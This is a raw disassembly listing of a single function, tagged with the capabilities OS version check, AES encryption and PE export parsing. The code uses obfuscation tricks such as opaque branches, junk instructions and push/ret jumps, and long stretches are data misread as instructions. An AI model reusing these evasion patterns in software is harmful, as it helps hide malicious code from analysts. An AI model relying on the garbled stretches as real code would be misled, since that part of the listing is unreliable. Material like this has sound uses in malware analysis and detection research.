Function at 0x1002ed3a
Capabilities:
Check os version
Encrypt data using aes mixcolumns step
Resolve function by parsing pe exports

Disassembly:
xor eax, 0xa5850fa0
test al, al
jb 0x100545c6
jne 0x1005fb72
mov edx, edx
shl edx, 0x20
je 0x1001f587
in al, 9
shr dx, 0x40
lea edx, [ebp - 0x10]
shl bx, 0x20
push 8
lea eax, [esi + 0x24]
xchg dh, ah
xchg ah, dh
jmp 0x1001f59c
push edx
xchg di, bx
xchg bx, di
push 0x1004d6b9
ret
fidiv dword [eax]
mov ecx, dword [esi]
push 0
push ecx
shr al, 0x40
call fcn.1003c459
add esp, 8
pop edi
pop esi
pop ebp
ret
jne 0x1003c2f5
je 0x1001f813
nop
cpuid
ret 0x840f
je 0x1003c2f5
add eax, 0x23820f66
sub byte [ecx], al
add byte [ebx + 2], dh
push 0xe030a1f8
or byte [eax], dl
jne 0x1005561c
mov ch, ch
je 0x1001f8b4
scasb al, byte es:[edi]
invalid
add esp, 4
lea ecx, [ebp - 0x910]
cmp ebx, ecx
xchg bp, ax
xchg bp, ax
je 0x1001fe20
jne 0x1001fe10
jne 0x1001fe4a
lea eax, [eax]
jmp 0x1001fe13
push ebx
call fcn.1005b2f8
add esp, 4
mov edx, dword [ebp + 8]
push edx
call fcn.1005b2f8
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
shl bl, 0x20
ret
add bl, ch
push ebx
mov eax, eax
jmp 0x1001fe51
push esi
xchg cl, bl
xchg bl, cl
shr si, 0x40
mov esi, dword [ebp + 8]
jmp 0x1001fe5f
push edi
push esi
mov eax, dword [esi]
add eax, 0x74
push eax
call fcn.10053f12
stc
add esp, 8
push 0x1003039d
ret
aas
sub byte [esi - 0x77], ah
inc dword [ecx]
pop ds
jmp dword [esi]
jne 0x10020887
lea ebp, [ebp]
shl al, 0x20
mov bh, bh
mov eax, dword [esi + 4]
js 0x1003a89b
xchg dh, ah
xchg ah, dh
jns 0x1002083a
push eax
dec ebp
mov ecx, dword [ebx - 0x76f04f0c]
pop ebx
mov al, byte [0xbf340001]
jns 0x1003a89b
xor al, 0xbf
xchg cl, ah
xchg ah, cl
ja 0x10047f42
mov esi, esi
jbe 0x10020856
invalid
jbe 0x10047f42
add al, byte [eax]
fnstenv [ecx - 0x3f]
jmp 0x100208a1
shr ebx, 0x40
adc word [edi], bx
jmp dword [esi]
jecxz 0x100208a5
jbe 0x1002088a
inc eax
test dword [eax + 0xf], edx
xchg byte [esi + 0x5d], ch
add eax, dword [eax]
jbe 0x100565fe
sbb al, 0x4a
add dl, byte [eax]
add byte [ecx], ah
add byte [eax], 0
add byte [eax], al
and dword [eax], eax
add byte [eax], dl
add byte [eax], al
add byte [eax], al
adc byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
jb 0x10020883
add byte [eax], al
add byte [edx - 0x2f], dh
add al, 0x10
movsd dword es:[edi], dword [esi]
sub al, byte [0x4c10]
add byte [ecx], dl
sti
add al, 0x10
jg 0x1002085a
popfd
push eax
add dl, byte [eax]
inc eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
outsd dx, dword [esi]
stosb byte es:[edi], al
add eax, 0x4010
add byte [eax], al
add byte [eax], al
or esp, dword [esp + eax + 0x10]
jno 0x100208ad
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
cmp al, 4
adc byte [edx - 0x76effe0d], ah
stosb byte es:[edi], al
add eax, 0x208fa10
adc byte [edx - 0x763c5df1], cl
stosb byte es:[edi], al
add eax, 0x1f3a210
adc byte [0x50028bc7], ah
call fcn.1003c459
mov ch, ch
mov ax, word [ebp + 8]
cmc
add esp, 8
pop edi
push 0x100412aa
ret
call fcn.1005589e
mov edx, dword [esi]
mov di, di
push ebx
js 0x100254bc
and eax, 0x56006a77
mov dword [ebp + 8], 0
call fcn.100348e2
push 0x1005e159
ret
push edi
pop edi
mov dl, dl
mov eax, 0xd4d4d4d4
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
cmp cl, 0x8d
jbe 0x10020fb1
and word [ebp + ebx], ax
jb 0x1002f36e
and cl, byte es:[eax + ecx*4 + 0x4468be4]
mov edx, dword [edi]
xchg bl, dh
xchg dh, bl
push 7
push edx
call fcn.1003c459
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test bx, bx
jb 0x1004c657
je 0x1003f113
jne 0x1002117b
nop
cpuid
ret 0x8166
cmp bx, 0x40
jmp 0x1003c8b1
jne 0x100318f7
je 0x100212d9
add byte [esi + 0x3d], dl
pop ebx
clc
pop edi
shl si, 0x20
pop esi
mov esp, ebp
mov dx, dx
pop ebp
jno 0x1005413c
jo 0x100212f1
nop
cpuid
ret
jo 0x1005413c
and eax, 0x3e8085
cmp byte [esi], 0
call fcn.1003ff4d
fcom dword [eax]
cmp al, 2
jmp 0x1004aa2d
jne 0x10023a2c
xchg esi, eax
xchg esi, eax
je 0x1002245e
xor dword [edx + 0x15c8840f], edx
add byte [eax], al
je 0x10023a2c
mov eax, dword [ebp + 8]
xchg bl, ah
xchg ah, bl
jmp 0x1002246c
push eax
call fcn.1005b2f8
mov ecx, dword [esi]
push 0x1b
jmp 0x10022478
push ecx
call fcn.1003c459
add esp, 0xc
shr edi, 0x40
pop edi
pop esi
pop ebx
mov esp, ebp
mov ebp, ebp
mov bl, bl
pop ebp
ret
fsubr dword [esi]
xor eax, 0x1d5c8b7b
add byte [eax + 0x57], ch
movsd dword es:[edi], dword [esi]
add dl, byte [eax]
ret
shl di, 0x20
mov eax, dword [ebp - 8]
test eax, eax
stosw word es:[edi], ax
mov eax, dword [esi + 4]
mov ebx, dword [esi + 8]
lea esi, [esi + 0xc]
sbb word [ebp + ebx], ax
jmp dword [esi]
mov eax, dword [ebp + 8]
test eax, eax
jb 0x1003723f
shr eax, 0x40
je 0x10022d42
jne 0x10022d37
sub al, 0xad
mov ecx, dword [0x1008df80]
shr ecx, 0x40
mov dword [eax], ecx
mov edx, dword [ebp - 0xc]
push edx
js 0x1002ee3e
jns 0x10022d53
pop ecx
sar dword [ebx + ebx], 1
test eax, 0xc0e5890f
add byte [eax], al
jns 0x1002ee3e
xor al, 0x90
push ecx
pop ecx
jmp 0x10022d5e
push esi
mov byte [esi + 0xba], dl
mov ebp, ebp
shr bx, 0x40
mov eax, eax
mov byte [esi + 0xbb], 0
push 0x10025d80
ret
jmp 0x100520dd
push eax
add byte [eax], al
add byte [ebx], cl
add al, 0x10
inc ebp
add byte [eax], al
add byte [eax], bh
add byte [eax], al
add byte [ebp + 0x5010052a], ah
add byte [eax], al
add byte [edx + ecx*2], bl
add dl, byte [eax]
add byte [ecx], al
add byte [eax], bh
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
popal
add byte [eax + 0x3c], al
add byte [ecx], ah
add byte [eax], al
pushal
add byte [eax], al
add byte [edx], cl
lodsd eax, dword [esi]
add edx, dword [eax]
adc dword [edx + eax], ebp
adc byte [ebp], al
add byte [eax], al
inc ebp
add byte [eax], al
add byte [edi + 0xc1002d5], al
add byte [eax], al
add byte [eax], bh
add byte [eax], al
add byte [ecx], dl
sub al, 2
adc byte [eax + eax], bh
add byte [eax], al
cmp al, 0
add byte [eax], al
loopne 0x1002318c
add dl, byte [eax]
in al, 0x8c
add edx, dword [eax]
xor edi, ebx
add al, 0x10
xor al, 0xb8
mov edi, eax
mov eax, dword [ebp - 0x1c]
add esp, 8
cmp edi, eax
je 0x10027099
jne 0x10023214
neg byte [ebp - 0x16508e3a]
loop 0x100231a1
jmp 0x1004bcfb
add al, byte [eax]
sub bh, 0x8d
inc ebp
clc
jmp 0x1002321f
push edx
add ecx, 6
push eax
push ecx
call fcn.100320b7
xor al, 0x19
add byte [esi - 0x14f596], 0xf2
xor eax, 0xd289667a
mov cl, cl
jmp 0x10023675
push esi
shr edi, 0x40
call fcn.1001f5de
push eax
call fcn.10020cfa
add esp, 8
neg al
sbb eax, eax
pop esi
and al, 0xe7
jb 0x100429f4
add eax, 0xfffffffd
pop ebp
mov cx, cx
ret
mov dword [ebp + 0x3c], ecx
push 0x100358a6
ret
push ecx
push esi
call fcn.1004bddc
add esp, 0x40
jmp fcn.10028160
push 0x1004a756
ret
ja 0x1003f2ee
jbe 0x10023a6b
div byte [edi + 5]
jbe 0x1003f2ee
fstpnce st(0), st(0)
mov ecx, dword [eax]
test ecx, ecx
jb 0x10055d8a
jne 0x10023a91
je 0x10023a8b
insd dword es:[edi], dx
scasb al, byte es:[edi]
add byte [ebx], cl
and edi, eax
mov ebx, dword [ebp - 8]
mov dx, dx
push eax
push ebp
pop ebp
call edi
test ebx, ebx
jb 0x100371fe
je 0x100493c0
jne 0x10023aa8
lea ebx, [ebp + 0xf]
xchg dword [eax - 0x68], ebp
add byte [eax], al
ja 0x1002d316
jbe 0x10023ab6
push ds
adc dword [eax + 0xf1c4068], ebp
xchg byte [edx - 0x68], bl
add byte [eax], al
jbe 0x1002d316
or al, 0xed
push 0x10047e48
ret
inc esi
call fcn.1005b8d1
jno 0x1003942d
jo 0x10023dfc
sahf
and esp, dword [ebp - 0x6f]
sub eax, 0x2b800fe3
push esi
add dword [eax], eax
jo 0x1003942d
fadd dword [eax - 0x695777f1]
add al, byte [eax]
imul ebp, dword [eax], 0x8b04468b
inc esp
add eax, 0xd7876600
xchg dx, di
mov ebx, dword [esi + 8]
shr cx, 0x40
mov al, byte [eax]
lea esi, [esi + 0xc]
ja 0x10042aed
mov dl, dl
jbe 0x10023e7d
iretd
jbe 0x10042aed
mov cl, byte [ebp + 0xc]
mov dx, word [ebp + 0x10]
push eax
push 0x1003dc9b
ret
jb fcn.100584b6
shr bp, 0x40
jae 0x10024102
cmpsd dword [esi], dword es:[edi]
insb byte es:[edi], dx
or ah, byte [esi + esi*2]
ret 0xf239
cmp edx, esi
mov eax, edx
jae 0x10039cdc
jb 0x10024111
pushfd
retf 0x8b0e
mov ecx, dword [ebp - 4]
cmp byte [eax + ecx], 0xa
je 0x10039cc2
jne 0x10024122
in eax, 0x71
inc eax
cmp eax, esi
jb 0x10024111
mov ecx, ecx
jae 0x10024134
dec edx
xor ah, al
add cl, byte [edx]
jmp 0x10039cdf
lea edx, [edx]
push 0x1008ec11
push esi
call fcn.10042813
add esp, 8
test eax, eax
jb 0x100275b8
push 0x10029285
ret
pop edi
pop esi
shl bh, 0x20
pop ebx
pop ebp
jmp 0x10046b21
call fcn.1004dc9e
and eax, 0xcf840ff1
mov al, byte [ecx]
add byte [ebp + 5], dh
xor bh, byte [edx - 0x74834853]
dec ebp
or byte [ebp - 0x3d7df037], al
stc
add dword [eax], eax
je 0x10031eab
mov dx, dx
jne 0x10024445
loope 0x10024458
jmp 0x10024446
push ecx
call fcn.1005b2f8
mov eax, dword [ebp - 8]
jno 0x10031ea5
jo 0x1002445d
fimul dword cs:[ebx - 0x7ff042f2]
inc edx
fiadd dword [eax]
add bh, al
pushal
jo 0x10031ea5
invalid
mov eax, dword [esi + 4]
shl ebp, 0x20
mov ebx, dword [esi + 8]
mov ax, word [ebp + eax]
shr bp, 0x40
lea esi, [esi + 0xc]
cmp word [ebx], ax
jmp dword [esi]
and eax, 0x85e8b46
mov ax, word [ebp + eax]
lea esi, [esi + 0xc]
mov word [ebp + ebx], ax
jmp dword [esi]
or eax, 0xdb8966b1
mov cl, byte [ebp + 0x3c]
mov ebx, dword [esi + 4]
lea esi, [esi + 8]
shl byte [ebp + ebx], cl
jmp dword [esi]
invalid
lea edx, [ebp - 0x134]
push 0x11
push edx
mov word [ebp - 6], cx
call fcn.1002fd29
mov di, di
lea eax, [ebp - 0x134]
push 7
push eax
call fcn.10037600
lea ecx, [ebp - 0x34]
lea edx, [ebp - 0x134]
push ecx
push edx
call fcn.1004bddc
xchg bh, dh
xchg dh, bh
lea eax, [ebp - 0x134]
push eax
shl bx, 0x20
call fcn.10041721
mov ecx, dword [esi]
mov ebx, eax
jmp 0x10025601
push ebx
jmp 0x10025604
push ecx
call fcn.1003c459
stc
add esp, 0x24
test bx, bx
jb 0x1002b883
shl dh, 0x20
pop ebx
jne 0x1003bc98
je 0x1002562d
invalid
pop ss
jns 0x1002581d
mov di, di
ja 0x100277e2
jbe 0x1002583c
inc ecx
loop 0x100257c6
wait
push ss
pop es
jbe 0x100277e2
add eax, 0xfc458b5a
push eax
jmp 0x100259e4
push esi
call fcn.100259f6
add esp, 8
pop esi
pop ebp
ret
popfd
pop ebx
call fcn.1005b374
and eax, 0x8504e92a
add al, byte [eax]
les eax, [ecx]
cmp cl, 2
shl dl, 0x20
jne 0x1004df22
je 0x10025a77
int3
xor edi, edi
jb 0x10032602
mov bx, bx
mov cl, byte [eax + 0xbc]
mov dl, byte [eax + edi + 0x24]
test al, 0x62
sub cl, 0x14
stc
jb 0x10025a96
add dword [edx + 0xf], edx
or byte [ebp - 0xb], 0
add byte [0x24448f8d], dh
invalid
inc esp
invalid
jb 0x10034fe9
xor eax, 0x24448f8d
cld
lea esi, [esi + 0xc]
add al, 0
cmp word [ebx], ax
jmp dword [esi]
and eax, 0xffff
jb 0x1002549c
test si, 0x522
add esp, 0xc
cmp ebx, eax
ja 0x1003e74c
and byte [0xffe965e8], 0xff
jmp dword [esi]
or cl, 0x66
mov dword [esi + 0xbc], eax
xchg bp, di
xchg di, bp
call fcn.100355b3
mov dl, byte [ebp + 0xb]
xchg edx, edi
shr di, 0x40
mov si, si
xchg edi, edx
mov bx, bx
call fcn.1005d293
invalid
inc esp
and al, 0xfc
out 0x68, al
mov cl, cl
js 0x100573b8
xchg ebp, ecx
xchg ecx, ebp
jns 0x10025e7e
jecxz 0x10025e63
xlatb
jae 0x10025ee1
and eax, 0x1534890f
add eax, dword [eax]
jns 0x100573b8
fadd st(7)
mov dword [ebp - 4], ebx
shr dh, 0x40
mov dword [ebp - 0x44], esi
call fcn.10030009
push esi
mov dword [ebp - 0x40], eax
jmp 0x1003cdd0
or al, byte [ebx]
add eax, dword [eax]
push 0x10022dcc
ret
push 0xff896607
shr ax, 0x40
mov eax, dword [esi + 4]
mov ecx, ecx
mov ebx, dword [esi + 8]
xchg di, ax
xchg di, ax
push 0x1004c233
ret
fnstenv [eax + ebp*8 + 0x1827c]
shl bx, 0x20
ja 0x1002da87
jbe 0x10025fba
add ebp, dword [edi + 0x71]
cld
outsd dx, dword [esi]
jno 0x10025fb6
jbe 0x1002da87
sbb byte [ebx - 0x367699a5], 0x5d
xor esi, dword [edx + 0x66]
mov edx, edx
jne 0x10044894
je 0x10026036
imul ah
into
pop es
je 0x10044894
pop ebx
mov cl, cl
mov esp, ebp
cmp al, 0x53
jne 0x10026390
je 0x1002637d
add eax, 0xf02b9055
push ebp
nop
sub esi, eax
neg byte [edi + 0x5e]
pop edi
pop esi
test al, 0x13
xor eax, eax
jb 0x1002bcd2
pop ebx
pop ebp
push ebx
pop ebx
ret
jno 0x100492b4
jo 0x1002639e
bnd je 0x10026377
sbb al, 0xd0
jo 0x100492b4
jo 0x100492b4
fdiv st(2)
mov edx, dword [edi]
xchg bx, si
xchg si, bx
push edx
call fcn.100462ad
add esp, 4
pop edi
pop esi
jne 0x1003f108
je 0x100263db
mov byte [edx], al
lds ecx, [edi]
test byte [edi], ah
lea eax, [ecx]
add byte [0x4c5d8b8d], ah
je 0x1003f108
and eax, 0x4c5d8b8d
jmp 0x10050300
add eax, 0x24648db5
add al, 0xc1
out 0xf, eax
shr ax, 1
cmc
or eax, edi
jb 0x1004dc2b
and edx, edx
cmp bx, bx
sub edx, eax
mov word [ecx + esi], dx
push 0x10039ae2
ret
xor eax, 0x2dac570
adc byte [eax], al
popal
add byte [eax + 0x48], al
add byte [ecx], ah
add byte [eax], al
cld
invalid
lea esi, [esi + 0xc]
jno 0x1005097f
jo 0x10026734
xor dword [ebx + 0x45800f2f], 0xffffffa2
add al, byte [eax]
jo 0x1005097f
push ecx
push 2
mov ch, ch
call fcn.100242f8
add esp, 0x24
test ax, ax
jb 0x10059555
insd dword es:[edi], dx
jns 0x10026779
test byte [esi + 0x73], dl
add byte [eax], al
push eax
jl 0x1002677b
int1
mov al, byte [ebp + eax]
mov bh, bh
lea esi, [esi + 0xc]
cmp cl, cl
mov eax, dword [ebp - 0x18]
test eax, eax
jb 0x10054a5f
je 0x10022987
jne 0x100270b0
invalid
mov eax, dword [esi + 4]
push 1
push 0xedf1ac77
shr ebx, 0x40
push 0x1008e258
jmp 0x100270c3
push edi
push eax
call fcn.1006ac50
add esp, 0x14
push 0x1003c2ce
ret
xor al, 0xd
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 4
je 0x1002737c
jne 0x1002736d
cpuid
rol bl, 0xd
or eax, 0xffffffff
jb 0x1002a18d
pop ebp
ret
mov eax, dword [eax + 8]
test eax, eax
jb 0x1004d710
je 0x10038c4b
jne 0x10027395
push 0xffffffffffffffa1
movsd dword es:[edi], dword [esi]
xchg edx, eax
shl byte [edi - 0x74f3b275], 0
mov ecx, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ecx], eax
jne 0x10038c49
je 0x100273a6
inc edx
je 0x10038c49
je 0x10038c49
fst dword [ebx - 0x7df031f7]
push ecx
sbb al, 3
add byte [esi + 0x33], ah
jo 0x100273c0
jb 0x1002f5f7
xor esi, 0x8450
jb 0x1002f603
sub esi, 0x11
push 0x1005fe4d
ret
pop edi
shl bl, 0x20
push 0x100474b1
ret
or ecx, ecx
jno 0x10027563
mov ax, word [ebp + eax]
mov ebx, dword [ebp + ebx]
lea esi, [esi + 0xc]
stc
xor word [ebx], ax
jb 0x10032409
jmp dword [esi]
jecxz 0x1002759c
push ebp
pop ebp
mov ebp, ebp
mov eax, dword [esi + 4]
jne 0x100345a5
je 0x100275bb
push eax
dec ebp
cmp byte [edi], cl
test ah, ah
iretd
je 0x100345a5
xor al, 0xe7
jne 0x10029b82
shl dx, 0x20
je 0x100275d3
cld
mov al, byte [0xc0318452]
xor eax, eax
jb 0x100432c5
lea ebp, [ebp]
push 0x10054f97
ret
mov byte [esi + 0xbb], 0
shr ebx, 0x40
jno 0x1005ab22
jo 0x100275fd
sbb esi, dword [edx + 0x45]
invalid
jo 0x1005ab22
xor al, 0x9c
jmp 0x10027606
push ecx
push esi
call fcn.10050cf1
xor edx, edx
jb 0x1004367b
mov dx, word [edi + 0x24]
push edx
mov dx, dx
push esi
call fcn.10057107
add esp, 0x18
shr cl, 0x40
jno 0x1004c9ad
jo 0x1002763d
push ecx
sub al, 0xb4
cmp esi, dword [edi + 0x536a800f]
add al, byte [eax]
jo 0x1004c9ad
add eax, 0xc35d5b2c
xor eax, 0x20e2c18b
pop ebx
pop ebp
ret
push 0x100
jmp 0x10027653
push esi
call fcn.10046238
xor al, 0x27
outsd dx, dword [esi]
stosb byte es:[edi], al
add eax, 0x5410
add byte [eax + eax], dl
add byte [ebp + 0x38100250], bl
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
xchg esp, eax
mov ebx, 0xffff1002
add byte [eax], al
cmp al, 0
add byte [eax + eax], bh
add byte [eax], al
fcom dword [esp + eax]
adc byte [ebx], dl
cmpsb byte [esi], byte es:[edi]
add eax, 0x24a1c10
adc byte [eax], al
inc eax
add byte [eax], al
cmp al, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], ah
add byte [eax], 0
add byte [eax], al
and dword [eax], eax
add byte [eax + eax], cl
add byte [eax], al
jb 0x1002767b
add al, 0x10
popfd
push eax
add dl, byte [eax]
inc eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc dword [edx + eax], ebp
adc byte [eax + eax], al
add byte [eax + eax], al
add byte [ebp + 0x4c10052a], ah
add byte [eax], al
add byte [ecx], dl
sti
add al, 0x10
sbb dword [esi + 0x1004640b], esi
pop eax
add byte [eax], al
add byte [eax], bh
add byte [eax], al
add byte [esi - 0x60], dl
add edx, dword [eax]
out dx, al
sti
add al, 0x10
xor eax, 0x5aa6f24
adc byte [eax + eax], bh
add byte [eax], al
cmp al, 0
add byte [eax], al
movsd dword es:[edi], dword [esi]
sub al, byte [0x4c10]
add byte [ecx], dl
sti
add al, 0x10
inc edi
pop edx
adc dword [edx + eax], ebp
adc byte [ecx], bh
add byte [eax], al
add byte [ecx], bh
add byte [eax], al
add byte [ebp - 0x3a], bl
add al, 0x10
mov dword [eax], 0x3c0000
add byte [eax], al
popfd
wait
add dl, byte [eax]
cmp byte [eax], al
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
fcom dword [esp + eax]
adc byte [ebx], bl
mov al, byte [0x2eab1003]
add eax, 0x2eaf110
adc bl, ch
pop ds
add eax, 0x2774310
adc byte [eax - 0x50], bl
add ebx, dword [esi + ebx*8 - 0x79]
aad 2
adc byte [eax + eax], cl
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
lodsb al, byte [esi]
sub dword [0x4010], eax
add byte [eax], dl
add byte [eax], al
popfd
push eax
add dl, byte [eax]
push eax
add byte [eax], al
add byte [eax], dl
add byte [eax], al
movsd dword es:[edi], dword [esi]
sub al, byte [0x5010]
add byte [ebp + 0x38100250], bl
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
xchg esp, eax
mov ebx, 0xffff1002
add byte [eax], al
cmp al, 0
add byte [eax], al
fcom dword [esp + eax]
adc bl, ch
sub eax, 0x4a1c1005
add dl, byte [eax]
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], ah
add byte [eax], 0
add byte [eax], al
and dword [eax], eax
add byte [eax], cl
add byte [eax], al
add byte [edx - 0x2f], dh
add al, 0x10
movsd dword es:[edi], dword [esi]
sub al, byte [0x4c10]
add byte [esi], dl
and byte [0x3d08210], al
adc byte [ecx], dl
sub al, 2
adc byte [0x3d000000], bh
add byte [eax], al
add bl, ch
pop ds
add eax, 0x277da10
adc byte [ebx + 0x6a], ah
and ebx, ebp
pop ds
add eax, 0x3d08210
adc byte [esi - 0x3f], ah
jecxz 0x10027806
shl bx, 0x20
mov bl, bl
mov eax, dword [esi + 4]
mov ebx, dword [esi + 8]
mov al, byte [eax]
imul byte [ebp + ebx]
js 0x10026726
jns 0x10027800
cpuid
ret
jns 0x10026726
mov ax, 0x18
pop ebx
mov esp, ebp
pop ebp
mov cl, cl
ret
add eax, 0x1000
mov word [esi + 0x1e], ax
mov ecx, dword [ebp - 4]
mov edi, dword [ebp + 8]
call fcn.1003aeed
fldcw word [eax]
pop dword [esp - 4]
mov eax, dword [esi + 4]
xchg bp, si
xchg si, bp
mov ebx, dword [esi + 8]
mov ax, word [eax]
lea esi, [esi + 0xc]
jno 0x10039cbb
jo 0x10027b18
in eax, 0xe8
cmp byte [ecx - 0x7ff06c16], ch
popfd
and dword [ecx], eax
add byte [edx + 0x24648d5f], al
lea esp, [esp + 4]
mov edx, dword [esi + 4]
lea edx, [ebp + edx]
pop dword [edx]
lea esi, [esi + 8]
push 0xf
xchg edi, ecx
test eax, 0x5760000
push es
pop ebx
push 0x860f584f
ret 0xa9
ja 0x10027472
jbe 0x100280a3
xlatb
movsd dword es:[edi], dword [esi]
xor di, word [eax]
jbe 0x10027472
xor al, 0x1f
cmp byte [edi], 0xe8
mov esi, 0x6600015c
mov eax, dword [edi + 0x2c]
jmp 0x10028150
push eax
jmp 0x10028153
push esi
call fcn.10036f03
jne 0x100286b2
jno 0x10022b12
push dword [eax + 4]
jo 0x100286b9
lodsb al, byte [esi]
stosb byte es:[edi], al
in eax, 0xcb
jo 0x10022b12
fsubr dword [ebx - 0x590a77f1]
add al, byte [eax]
jns 0x100286cd
cpuid
nop
ret
jns 0x10052dbc
call fcn.1005b2f8
jmp 0x10028dfa
push edi
call fcn.1005b2f8
mov edx, dword [ebp + 0x1c]
shl edx, 0x20
shr cx, 0x40
push edx
call fcn.10051756
add esp, 0xc
test ecx, 0x3f8339d3
xor ax, ax
jb 0x1004e169
pop edi
pop esi
pop ebx
mov esp, ebp
mov bh, bh
pop ebp
ret
cmp cl, 0x30
jb 0x10023a42
jae 0x100291d1
sbb eax, edx
fisttp dword [esi - 0x2777f02e]
pop eax
add eax, dword [eax]
js 0x1005eaaf
jns 0x100291dd
nop
cpuid
ret 0x890f
jns 0x1005eaaf
add eax, 0x529ac38
adc byte [eax], al
cmp byte [ecx + ebp + 0x401005], ch
add byte [eax], al
push esp
add byte [eax], al
add byte [edx + ecx*2], bl
add dl, byte [eax]
add byte [ecx], ah
add byte [eax], 0
add byte [eax], al
and dword [eax], eax
add byte [eax + eax + 0x10000000], bh
add byte [eax], al
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
jb 0x100291e4
add al, 0x10
popfd
push eax
add dl, byte [eax]
cmp al, 0
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
mov dword [0xf1003d7], eax
add byte [eax], al
add byte [eax], bh
add byte [eax], al
add byte [ecx + ebp + 0x401005], ch
add byte [eax], al
dec esp
add byte [eax], al
add eax, 0x4010
add byte [eax + eax], cl
add byte [ecx + ebp + 0x11005], ch
add byte [eax], al
cmp al, 0
add byte [eax], al
push ds
add eax, 0x3c10
add byte [eax], bh
add byte [eax], al
add al, bl
adc al, 4
adc dh, ah
dec ebp
add edx, dword [eax]
cmp al, 4
adc bh, ch
sbb dword [eax + edx], eax
mov dword [edx - 0x6d94effb], ebp
add dl, byte [eax]
movsd dword es:[edi], dword [esi]
in eax, 0x89
stosb byte es:[edi], al
add eax, 0x419ef10
adc byte [0x10c481b0], al
add byte [eax], al
add byte [esi - 0x77], ah
imul cl
je 0x1002922f
add byte [eax], al
fldenv [edi]
jne 0x100292af
je 0x1002928f
mov ch, 0x62
mov eax, dword [ebp + 0xc]
pop esi
xchg cx, ax
xchg cx, ax
mov word [eax], 0xfffe
mov word [eax + 2], 0x8000
mov eax, 1
pop ebp
ret
push str.netbios
push esi
call fcn.10042813
add esp, 8
test eax, eax
jb 0x100275c1
jne 0x100292f5
mov ebp, ebp
je 0x100292d9
xchg edx, eax
push 0x36
jo 0x100292e6
mov eax, dword [ebp + 0xc]
pop esi
mov word [eax], 0xfffd
mov word [eax + 2], 0x8000
mov eax, 1
pop ebp
shr di, 0x40
add byte [eax + 0x1b8], al
add byte [ebp + 0x66], bl
shr edi, 0x40
ret
push 0x1008ec1d
push esi
jno 0x1004c118
jo 0x10029308
push 0xffffffffffffff83
push ebx
push ss
adc byte [edi], cl
or byte [edx], 0x2e
add al, byte [eax]
jo 0x1004c118
fld dword [esi + 0x4c481]
add byte [eax], al
jne 0x100419a1
je 0x10029321
add bh, bh
mov bh, 0xf
test byte [edx - 0x7a], bh
add dword [eax], eax
je 0x100419a1
mov dx, word [ebp + 0x10]
shr dh, 0x40
jmp 0x1002932f
push eax
push esi
mov bp, bp
xchg dl, bh
xchg bh, dl
mov byte [esi + 0xba], cl
mov byte [esi + 0xbb], 0
jne 0x1004490e
mov bp, bp
je 0x10029356
cpuid
nop
ret
je 0x1004490e
mov dword [ebp + ebx], eax
jne 0x10036aa3
je 0x1002936a
imul ebp, dword [edx + 0xf], 0xffffff84
xor edx, edi
add byte [eax], al
je 0x10036aa3
and eax, 0xc08966f6
jmp dword [esi]
jmp dword [esi]
hlt
retf
xor al, 0xc5
jmp 0x1002959f
push ebx
call dword [0x1008e788]
mov dword [ebp + 0x24], eax
mov eax, dword [0x1008e1ec]
add cx, 0
test eax, eax
jb 0x1004480c
je 0x100295d7
jne 0x100295c9
mov al, 0x24
imul edx, esp, 0xffffffbc
push esi
mov edi, edi
call fcn.1003a292
add esp, 4
mov eax, dword [ebp + 0x24]
test eax, eax
jb 0x1004dd37
jne 0x1002764d
je 0x100295ee
cpuid
add ebx, eax
push ebp
pop ebp
jmp 0x100295f1
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
shr esi, 0x40
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
jb 0x1002dd68
jmp 0x10027645
mov ecx, dword [esi + 4]
jne 0x1002f6b6
je 0x100296bd
jno 0x10029706
je 0x1002f6b6
xor al, 0x95
add byte [eax], al
stc
xchg bx, bp
xchg bp, bx
jb 0x10029b8f
aas
sti
shl dword [esi], cl
jb 0x1001f570
pop dword [esp - 4]
shl di, 0x20
mov eax, dword [esi + 4]
mov ecx, ecx
mov ax, ax
mov ebx, dword [esi + 8]
ja 0x100267e1
jbe 0x10029bb4
push esi
imul esp, eax, 0x36
jbe 0x100267e1
fst dword [esi + 0x66]
and dword [ebx], eax
xor al, 0x93
mov eax, dword [ebp + eax]
mov ebx, dword [esi + 8]
mov eax, dword [eax]
lea esi, [esi + 0xc]
cmc
and dword [ebp + ebx], eax
jb 0x100325f7
jmp dword [esi]
pop ebp
mov al, al
jne 0x10036abb
je 0x10029c1f
mov ebx, 0xf5d15fca
je 0x10036abb
invalid
inc ebp
dec esp
mov bp, bp
shr si, 0x40
jno 0x10058b03
jo 0x10029ed4
rol byte [esi + 0xf4dca93], cl
sub byte [ecx], 0xec
add al, byte [eax]
jo 0x10058b03
mov al, byte [ebp + 0xb]
shr ebx, 0x40
push edi
shl ah, 0x20
pop edi
push 0x1004a177
ret
and eax, 0x29ee09e
adc dh, al
lea eax, [ebx]
adc byte [ebx], dh
sti
add al, 0x10
add eax, 0x558b6663
mov dx, word [ebp + 0x10]
js 0x1004859c
jns 0x1002a170
salc
and ecx, dword [edi]
xchg byte [ecx - 0x25fffd8b], cl
dec esi
fimul dword [esi - 0x75]
pop ebp
or byte [edx + 8], ch
jmp 0x1002a632
push eax
cmp ax, 0xf000
jbe 0x10027ae7
ja 0x1002a676
cpuid
nop
ret
or edx, edx
jno 0x1002a67e
cpuid
nop
ret
jno 0x10027ade
and eax, 0x86cf86c5
